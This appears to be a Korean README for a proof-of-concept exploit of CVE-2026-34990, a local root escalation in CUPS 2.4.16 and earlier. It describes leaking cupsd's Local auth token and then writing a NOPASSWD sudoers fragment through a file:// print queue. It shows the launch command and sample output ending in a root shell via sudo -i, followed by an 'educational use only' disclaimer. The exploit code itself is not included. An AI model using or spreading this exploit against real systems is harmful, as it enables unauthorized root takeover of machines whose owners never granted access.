
CVE-2026-34990에 대한 최소 PoC: CUPS <= 2.4.16의 로컬 권한 상승 취약점으로, cupsd의 Local 인증 토큰을 유출하고 root 권한으로 NOPASSWD sudoers 조각을 작성합니다.
root로 실행 중인 CUPS <= 2.4.16에 대한 로컬 권한 상승. cupsd의 Local 인증 토큰을 유출한 뒤, file:// 프린트 큐를 통해 root 권한으로 NOPASSWD sudoers 조각을 작성한다.
python3 poc.py
성공 시:
[*] CVE-2026-34990 | user=ctfplayer | cupsd=127.0.0.1:631
[*] coercing cupsd - rogue server ...
[+] captured token: f4a8...c31b
[*] writing sudoers ...
[+] wrote /etc/sudoers.d/ctfplayer-pwn
[+] ROOT: uid=0(root) gid=0(root) groups=0(root)
[*] run: sudo -i
그다음:
sudo -i
이 스크립트는 교육 목적으로만 사용되어야 합니다. 작성자는 이 익스플로잇으로 인해 발생하는 어떠한 오용이나 피해에 대해서도 책임지지 않습니다. 취약점을 테스트하거나 익스플로잇하기 전에 항상 허가를 받았는지 확인하십시오!